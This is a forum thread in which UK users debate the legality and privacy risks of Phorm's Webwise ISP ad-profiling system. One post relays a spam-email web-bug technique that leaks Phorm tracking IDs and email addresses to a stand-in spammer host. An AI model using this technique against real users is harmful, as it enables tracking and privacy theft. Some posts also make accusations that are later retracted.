Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]

[Bonglet]

Thing is though the device they have in place intercepts your data and profiles it BEFORE you get the chance to opt in or not even if you opt out it still has to go through there Box at the headend or local exchange constantly - No Escape ;(.
They think putting a user interface tacked on to a microshuttle pc with 2x 2tb harddrives which beams info back to phorms offices based in another country is legal sorry its not.

And as for there laughable targetted ads how can they know what adds your interested in without matching the randomly generated number they give you on the way in to your ip address, just serving random ads on everybody isnt targeted, therfore for that reason it has to give xx ip address a profile so they do know who userx is so how is the information unidentifiable, its not = pr bull.

Everyone who has comented on the matter in hand so far has been paid by phorm to produce these reports hence there sitting on the pr 80/20 meeting, where is the TRUE independent analysis be it by an unlinked highly qualified individual or unlinked government appointed individual (I Know alexander is sitting in tonight and good luck to him but as part of the pr tactics of said B-M already linked with 80/20 thinking in strategy i cant reiterate there tactics enough see below).

"One of the most effective PR tools is the “third party” technique, where a firm will hire an “expert” to speak on behalf of a company <-- this time they commisioned 2 experts. People don’t generally trust corporate executives who say a product is harmless (say cigarettes, Teflon cookware or household insecticides), but are more likely to believe the same words from a scientist. And sometimes even more effective than hiring experts is getting average citizens to do the same. PR firms have time and again managed to create the illusion of public support for corporate causes through front groups"

Who has seen the source code for the software that the device will drive?
Answer - nobody
Probably just the same jank that 121 media invented all that time ago but got beaten by ad/spyware removers and anti virus companies except this time its at the isp end crammed into a tiny box with tacked on profiling software and a front end which is anonyomous as what they mis-tell people
over and over.

Stand up and defeat this bogus and shamfull company now just imagine more privacy invasion and junk which you cant bypass to contend with i know i have and the thought stinks .

[Florence]

I have sent this reply to Simon.

Hello Simon,

Sadly what has been used from this report are carefully selected sections that suit their fight to force this on us. As for informed consent they are passing this off as a security feature which it isn't really. With phorm MD being known as a spyware/adware developer known more for the reputation of the worst toolkit spyware to try to remove.
They quote the homeoffice as saying it is not against RIPA, the method they are trying to bring this in and what has already happened seems to say they are not bothered on legalities. I draw your attention to something going on in Manchester which if true all the data was acquired without informed consent of the customers. We know BT have completed two sets of trials which has gathered data from thousands of their customers.

quoted from http://www.how-do.co.uk/north-west-m...-200804142351/
" Phorm has initially populated the OIX with data gathered from BT, Virgin and Carphone Warehouse on users’ internet browsing habits. Many observers believe this is a step too far in terms of compromising privacy issues. In addition, there are apparently issues being vociferously debated in digital chat rooms about whether BT misled users about the trials they conducted with the company last year."

Also confirmed by Bt http://www.ispreview.co.uk/news/EkplEZZuukribeoCYc.html
"We confirmed in our 2006 Financial Statement that we had concluded the trial announced on 19 July 2006 and were about to start a larger trial in 2007. In reality, the 2007 test was actually smaller than was planned at the point this statement was issued. At its peak, it involved tens of thousands of users for a couple of days, not the several hundred thousand as anticipated."

This data was not gathered from customers by informed consent so this should be investigated by the government, also what is more worrying is this system has the ability to totally log everything from IP numbers. Many people visit online their own webspaces that contain private areas that are only accessible if the link is passed from family member to family member this information is personal data phorm will read this and log it. Members of the general public cannot afford licenses to use https for this type of family personal data. Now tell us how phorm intend to protect our online personal data when it logs it for the one person you wouldn't give a link to to read. I actually have copies of my family tree online not for public view but because a few members of the family are working on it together and it is easier to keep it collated and up to date, this can identify us all and phorm can access it. there was a case of a person in America who was supposed to not be able to be identified but from her clicks they managed to identify her name and give her address shows this system can and will fail but by that time it will be too late for thousands of unaware members of the public.

The ISPs are passing this of as an anti phishing security which there are many freely available over the internet without phorm, when it is phishing itself to target adverts to the customer.

I sit here a very disappointed member of the UK public and fear that 90% of the public who are not totally aware of the technical data or the fact this program could log secrets and let them out to the highest bidder. The very people who are supposed to protect us from this type of thing are themselves led blindly into the path of thinking this is safe and good.

There are many trying to get the message over what phorm can do to members of the general public we all feel the government could help in this by doing an inquirey into the illegal gathering of customers clicks by BT and now possibly talktalk and Virgin Media.

Regards
Florence
Again all responses will be posted on cableforum virgin media and phorm thread.

As for Simon's Email address I spotted it on the document he had sent to phorm that is online if you would like his email addy it is there or pm me for the quicker route I would rather not post it on the public forums.

[popper]

Originally Posted by SimonHickling

It seems that a number of government departments are stepping on each others toes here. The reply from Simon Watkin with relation to the "illegal"(?) tests seems to make more of a point about the DPA than RIPA, but by all accounts the DPA is regulated by ICO. I think I would pressure him on the unconsented interception as opposed to the DPA implications as they are a question for ICO. Even if consent could be argued to have been implied, it certainly wasn't informed consent. I think the government needs to work out who should be saying what about which bits of the issue.

No simon, its clear with the "As much as we were saying was, that in relation to RIPA, we considered it **may** be possible for such services to be offered lawfully - but it all depends on how they are offered and how they work."

you do remember this Simon Watkin is infact that very same 'Home Office view that we are legal' dont you.

thats ONE smoking gun, and you can be sure ElReg Chris will use it once he sees it, you are reading the thread arent you chris?...

it can now be reasonably assumed that this so called QCs Opinion will be along the same lines, and not really legal at all, once that name comes out, if infact it was for real and he exists...

well done florence, now keep in mind the law side in all matters...... he's the RIPA HO personel this comes from, and what they are basing 'we are legal' on so that the attack vector....

"There are many variations on how the technology can be deployed: for example whether the end user is asked to opt-in or opt-out, whether or not the record of a user's interests can be linked to an identifiable individual, and whether or not the technology immediately discards the reason why a user is considered to be interested in a category of advertising."

did you read alexanders PDF florence? it makes it clear all the above is only valid in any form IF THEY HAVE NOT broken the RIPA to get consent so they havent broken RIPA if you see what i mean

so it seems the best action is,

is it true that without getting Explicit consent without Breaking RIPA, non of the above you state is valid or Lawful under RIPA?

is it true that if a users datastream is Deep Packet intercepted by the ISP for any purposes (other than to route the data packet to the recipient address, the post office looking at the adress but not the opening and looking at the private contents if you will) before the ISP has receaved Explicit Consent, that is unlawful Interception.

and so on, always looking to get confirmation of all the points we have made taking his emails responses as the lead.

and in such a way that the questions you put back to him are clear and simple, hence why i place the Post office bit there to clarify any answers later.

---------- Post added at 14:48 ---------- Previous post was at 14:47 ----------

Arrrr, to quick florence......., now we will have to send another one perhaps before he gets fed up answering.

he knows its posted here and make it clear again thats going to be the case BTW.

so we might get away with 2 or perhaps 3 emails before he gets fedup answering....if we are lucky, dont waste them.

[diddy1]

Originally Posted by Dephormation

Alexander, I'd like to contribute to your travel costs.

How about you set up something like an Amazon wish list, total value equivalent to your train fares/hotel bills/costs.

I'm willing to buy a book or two for your course, and I hope others might do likewise.

Pete.

I would also like to make a contribution of some sorts, maybe the CF team could set somthing up to enable those who would like to make a Donation, to help with travel costs, or just to say thank you for all the effort that has been put in by a lot of people on this matter.

[Bonglet]

Greetings PhormUKPRteam how was the meeting with simon this morning good i hope, hope you guys were discussing how many overjoyed pr employee's will be spouting questions at tonights meeting (can anyone get a list of the 54 people turning up to tonights event) would be interesting to see how many are working or can be identified as working for phorm pr.

Any new information you can give us here about any new developments with this amazing peice of kit being developed? or you just here to sit around and spy on questions that might come and and go away and prepare answers if they ever arrived.

Can i also ask who is the real independent person apart from alexander who will be speaking?
Dr Richard Claytons report was edited and approved by phorm with a couple of leaks of info not everything people need to know.
80/20 have been commisioned to produce a workable report with a glowing reference by phorm and are in strategic patnership with Burson-Marsteller pr firm employed by phorm.
Where is the expert independent non-paid for by phorm in this meeting seems to be none present.

[Florence]

Another exploit found in phorm http://www.ispreview.co.uk/talk/show...3&postcount=21

posted by Mel on ISPreview.
Do any modern email clients still share cookies with a browser? Hmm, I guess webmail services.

Only it occurred to me that by spamming 'everybody'@a_phorming_isp.com with an html email that contained a webbug designed to capture the UID, it might be possible for a spammer to compile a database of UIDs linked to email addresses.

The webbug could be an http: image link containing the email address it was sent to (ie your email address) suitably escaped eg:-

http://somespammer.con/uidcaptureYourEmailAddress.jpg

If you view the email your client would request the image,

phorm would use its triple redirect jiggery-pokery to intercept this request and copy the webwise.net UID to a webwise cookie in somespammmer's domain.

The spammer's server would reply with a redirect to a https: php script eg

https://somespammer.con/uidcaptureYourEmailAddress.php

The client automatically requests the https: url sending the webwise UID cookie.

Using https: bypasses phorm's intercept of the UID cookie, delivering the UID and email address to the spammer.

The spammer then sells a service to websites that allows them to email targeted spam to visitors to their website.

[SimonHickling]

Popper,

Sorry I wasn't very clear. here's the last bit of Simon Watkin's reply

> > I hope that you will review this and take a look at the illegal trials
> > undertaken by BT and Phorm in 2006/2007 where thousands of people where
> > intercepted without their consent.

My understanding is that BT made a public statement that "a small scale
technical test of a prototype advertising platform took place for two weeks
during September - October 2006 [and that] no personally identifiable
information was processed, stored or disclosed during this test".

Simon Watkin
HOME OFFICE

All the responses from government departments with regard to the previous tests concentrate on the "no personally identifiable information" part of the BT statement.

From what has been said by the same government departments this would be a matter for investigation under the data protection act - regulated and enforced by ICO.

When ICO were explicitly asked about contravention of RIPA they bounced to the Home Office. What I was trying to say is that the issue that the Home Office should be made to answer is with respect to the interception in those initial trials, whether or not any identifiable information was involved.

The interception and the processing of data are 2 separate issues and yet nobody from HMG has dealt with any questions regarding the interception.

This makes me (in my tin foil hat) a little suspicious, and think that a very direct question along the lines of "Allowing for the fact that no personally identifiable information was stored processed etc., is it possible that the initial interception of that data by BT in 2006/7 was illegal under the terms of RIPA given that no user consent (explicit or implicit) was ever requested? - if so should the police not be investigating?" is required to get a straight answer. Although even then it may be possible for civil servant speak to spin such a straight answer. If it *may* have been legal, then by definition it *may* also have been illegal and there may be grounds for investigation, but who does the investigation?

Communications with HMG are further clouded by the fact that we are trying both to set straight the record on the legality of the initial trials and also to confirm the legality of the upcoming services to be launched by Talk Talk and BT (and possibly VM). It seems that in order to avoid a direct straight answer to any points they are mixing all the points up, so they can refer to the processing of data.

Just a thought.

[popper]

http://blogs.guardian.co.uk/technolo...acetoface.html

charles, you can thank florence on CF for this smoking gun if you like
http://www.cableforum.co.uk/board/34...-post3415.html
"Simon Watkin ...
'That note [1] (which you've read) clearly states it should not be taken as a definitive statement or interpretation of the law, which only the courts can give. Equally it wasn't, and didn't purport to be, based upon a detailed technical examination of any particular technology.

There are many variations on how the technology can be deployed: for example whether the end user is asked to opt-in or opt-out, whether or not the record of a user's interests can be linked to an identifiable individual, and whether or not the technology immediately discards the reason why a user is considered to be interested in a category of advertising.

As much as we were saying was, that in relation to RIPA, we considered it **may** be possible for such services to be offered lawfully - but it all depends on how they are offered and how they work.'
...
...
'It's not a ruling. It's not advice. It's not a legal opinion. It's a view
and - repeating myself - all it says is it **may** be possible for such
services to be offered lawfully.'
...
'My understanding is that BT made a public statement that "a small scale technical test of a prototype advertising platform took place for two weeks during September - October 2006 [and that] no personally identifiable information was processed, stored or disclosed during this test".

Simon Watkin
HOME OFFICE
"

it was collected by the DPI kit though, and it was prosessed in the ram of the device, so it could be then passed along, it was obviously processing the 2006 datastreams as can be seen in those web messageboards that got all that Phorm junk deposited in plain view at the end of their posts.....

no need to guess, a clear case of DPI collecting and processing and a telltale visable trail back to these effected BT users.... case closed.
someone tell bobby and the guys down the yard quick.

[OF1975]

Originally Posted by Bonglet

Greetings PhormUKPRteam how was the meeting with simon this morning good i hope, hope you guys were discussing how many overjoyed pr employee's will be spouting questions at tonights meeting (can anyone get a list of the 54 people turning up to tonights event) would be interesting to see how many are working or can be identified as working for phorm pr.

Any new information you can give us here about any new developments with this amazing peice of kit being developed? or you just here to sit around and spy on questions that might come and and go away and prepare answers if they ever arrived.

Can i also ask who is the real independent person apart from alexander who will be speaking?
Dr Richard Claytons report was commisoned edited and approved by phorm with a couple of leaks of info not everything people need to know.
80/20 have been commisioned to produce a workable report with a glowing reference by phorm and are in strategic patnership with Burson-Marsteller pr firm employed by phorm.
Where is the expert independent non-paid for by phorm in this meeting seems to be none present.

Bonglet before you go attacking Dr Richard Clayton remember he was invited by phorm not commissioned as far as I am aware and he has gone on the record stating that he believes the Phorm system contravenes RIPA as has Nicholas Boehm of the FIPR.

I am open to being proved wrong but those are the facts as far as I am aware.

---------- Post added at 16:09 ---------- Previous post was at 16:00 ----------

Just to add to what I said above:

"Overall, I learnt nothing about the Phorm system that caused me to change my view that the system performs illegal interception as defined by s1 of the Regulation of Investigatory Powers Act 2000."

That is taken from paragraph 7 here:

http://www.lightbluetouchpaper.org/2...ebwise-system/

[Bonglet]

Dr Richard Claytons report was edited by phorm this means phorm let him in to analyse and scrutinise the project, then PHORM editied it sent him back a copy then said that ok , he looks change couple of things says that sounds better ok to you too they said yes and he published it.
Who knows what is ommited i dont do you? has anyone put the question to mr clayton as what got ommited he is on record as saying his report wasnt 100% but he was happy with it (i take it phorm were too) so published it, they will have let some details go out into mainstream as any company trickles information out.
Is dr richard clayton an expert software programmer? did he view the full source code of such software that will be implemented in the final revison software of the spy product
all tick the no box.
Do you not agree that projects where data interception arise that there has to be full undisclosed information with fully independant relevant companies experts putting every aspect of such derivces through every test before it is deployed on a public?.

What is to stop phorm updating the software,hardware,firmware on such devices which impacts the network or could have implications on privacy issues in the future, they with the help of isp's involved could change such software or hardware to make a more dynamic profilled association to the user by MINING MORE data hence update 2.3 of the Phorm Data Collection could be fine but then implementing 2.4 without anyone's knowledge a month or 2 after everyone forgot could collect more data about yourself or your habits.

Do you see the point yet?

[OF1975]

Hmmmm. Just noticed on the 80/20 thinking events page that the running order has changed yet again and now Alexander will be speaking 4th instead of 2nd. In some ways the new running order makes more sense but still makes me a little concerned. Hopefully Alexander has had some input on that issue.

---------- Post added at 16:26 ---------- Previous post was at 16:23 ----------

Originally Posted by Bonglet

Dr Richard Claytons report was commisoned by phorm this means phorm paid him to analyse and scrutinise the project....

{ snip }

Bonglet, not that I want to get into an argument but care to back up the accusation that he was paid by Phorm? I have seen no evidence of that. If you have some please show it. My understanding, and everything that I have read, points to the fact that both Dr Richard Clayton and Nicholas Boehm of the FIPR were INVITED to discuss the Phorm system so they could give people a detailed technical analysis. Nowhere have I seen anything saying they were paid or commissioned. If you have anything to back that up then put it on the table so we can see it please.

[Pasanonic]

Originally Posted by OF1975

Hmmmm. Just noticed on the 80/20 thinking events page that the running order has changed yet again and now Alexander will be speaking 4th instead of 2nd. In some ways the new running order makes more sense but still makes me a little concerned. Hopefully Alexander has had some input on that issue.

I'm pleased for Alexander to speak last before the q&a. It gives him the opportunity to make amendment after listening to the others and stops the others rewording their speeches with respect to any tripwires Alex comes up with during his comments.

[OF1975]

http://www.openrightsgroup.org/2008/...et-with-phorm/

Note nowhere does it say that they were paid or commissioned.

[Bonglet]

My bad then ignore everything i said about him im sure i read that he was commisoned for the project somewhere sincere apologies to Mr Clayton ill edit accordingly.
Phorm still had a spin on this with a bit editing and is still not a 100% overview as was edited and didnt examine any source code.

[OF1975]

By all means Bonglet, hate Phorm, what they stand for, what they plan to do, what they did in the past, I know I hate them for all those reasons too, but lets not cloud the issue by being over-paranoid. I fully expect Dr Richard Clayton to give them hell today as hes been very critical of them regards Ripa up to now.